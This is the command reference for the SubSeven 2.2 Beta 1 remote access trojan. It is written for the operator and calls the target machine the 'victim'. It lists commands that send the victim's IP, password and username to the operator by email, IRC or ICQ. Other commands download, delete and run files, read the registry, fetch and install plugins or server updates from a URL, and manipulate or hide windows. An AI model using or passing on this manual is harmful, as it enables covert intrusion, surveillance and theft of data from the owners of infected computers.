========================================================================= SubSeven 2.2 BETA 1 recognized commands: [see end of doc for VARIABLES] ========================================================================= StaticIPNotification [ip] [port] [victim name] SendEmailNotification [user]@[server] [destination] [e-mail body] [user] and @ can be ignored... it's the username for the email server [server] is the e-mail server. [destination] is the destination e-mail [e-mail body] contains the body of the e-mail. use | for ENTER. see SERVER CONSTANTS at the end of this doc. SendIRCNotification [server]:[port] [destination]:[key] [nickname] [repeat] [content] [server] is the IRC server [port] is the server port. if not included, 6667 will be used [destination] is the notify receiver. it can be a nickname, or a channel. [key] if destination is a channel, this is the key [if it has one] [nickname] the nickname of the notification. if in use, random characters will be attached at the end. [content] is the notification message. see SERVER CONSTANTS at the end of this doc. StopIRCNotification stop the irc notification. GetOnConnectCommands get a list of OnConnect commands ClearOnConnectCommands clear the OnConnect commands AddOnConnectCommand [command] adds [command] to the OnConnect list of commands ProtectPassword [pass] login with the protection password. if set, this is required to view/change the OnConnect commands ChangeProtectPass [newpass] change the current protect_password with the new one. ChangePort [new port] ChangePass [new pass] ChangeVName [new victim name] CloseServer closes the server without removing any settings or deleting any files RemoveServer UpdateServer [file name] UpdateServerFromWeb [url] GetPCInfo RestartServer DownloadFile [filename] RefreshFiles [folder] RefreshDrives DeleteFile [filename] DeleteFolder [folder] RefreshFolder [folder] MkDir [new folder] GetRegKey [main key][path] 0 = HKEY_CLASSES_ROOT 1 = HKEY_CURRENT_USER 2 = HKEY_LOCAL_MACHINE 3 = HKEY_USERS 4 = HKEY_CURRENT_CONFIG 5 = HKEY_DYN_DATA PlayWAV [filename] Wallpaper [filename] Rename [file1]?[file2] Run [file name] FindFiles [subdirs][start folder]?[search mask] [subdirs] is 1 if subfolders should be searched, 0 if not [start folder] if specified, this is the root folder of the search path [search mask] multiple masks can be used separated by ; MessageBox [buttons][icon][message title]{||}[message text] [buttons] 0 = OK 1 = Abort, Retry, Ignore 2 = OK, Cancel 3 = Retry, Cancel 4 = Yes, No 5 = Yes, No, Cancel [icons] 0 = no icon 1 = Warning 2 = Info 3 = Error 4 = Question DownloadFileFromWeb [url] [remote filename] if no path is specified for the remote file, it'll be saved in the /windows/system folder GetDownloadStatus ListPlugins LoadPlugin [path] UnLoadPlugin [index] [index] is the number returned by ListPlugins DownloadPluginFromWeb [url] the plugin is downloaded, and saved to the /windows/system/ folder with a random name and a DLL extension. if download is successfull, the plugin is installed. RefreshWindows [options] [options] 1 = all windows are returned 0 = only visible windows are returned CloseWindow [index] FocusWindow [index] EnableWindow [index] DisableWindow [index] DisableClose [index] HideWindow [index] ShowWindow [index] SetWindowText [index] [new caption] Sleep [miliseconds] server waits the indicated number of miliseconds before proceeding to the next command Version Upload [local file]?[remote file] if remote file has no path, it'll be uploaded in the windows/system folder CancelUpload SendICQPager [UIN] [victim name] [subject] [pager data] SERVER CONSTANTS ========================================================================= * these variables can be used in the notifications [email, icq, irc, etc.] $port the port that the server is running on. $password the server password [blank if server is not passworded] $victim_name the victim name $server_version the server version $ip the server ip(s). $protect_password if the notify options are password protected, this is the pass $username the computer username. useful if you want more info $sysdir windows/system folder [eg. c:\windows\system] $windir windows folder [eg. c:\winnt] * examples: SendICQNotification 14438136 foo VictimIsOnline Server:$ip is online on port $port - this will send a pager to 1438136, with subject "VictimIsOnline". the pager will appear as if sent by "foo". and the pager will contain the data: "Server:127.0.0.1 is online on port 27374" * it's pretty easy and straight-forward. * $windir and $sysdir are used for files... for example plugins.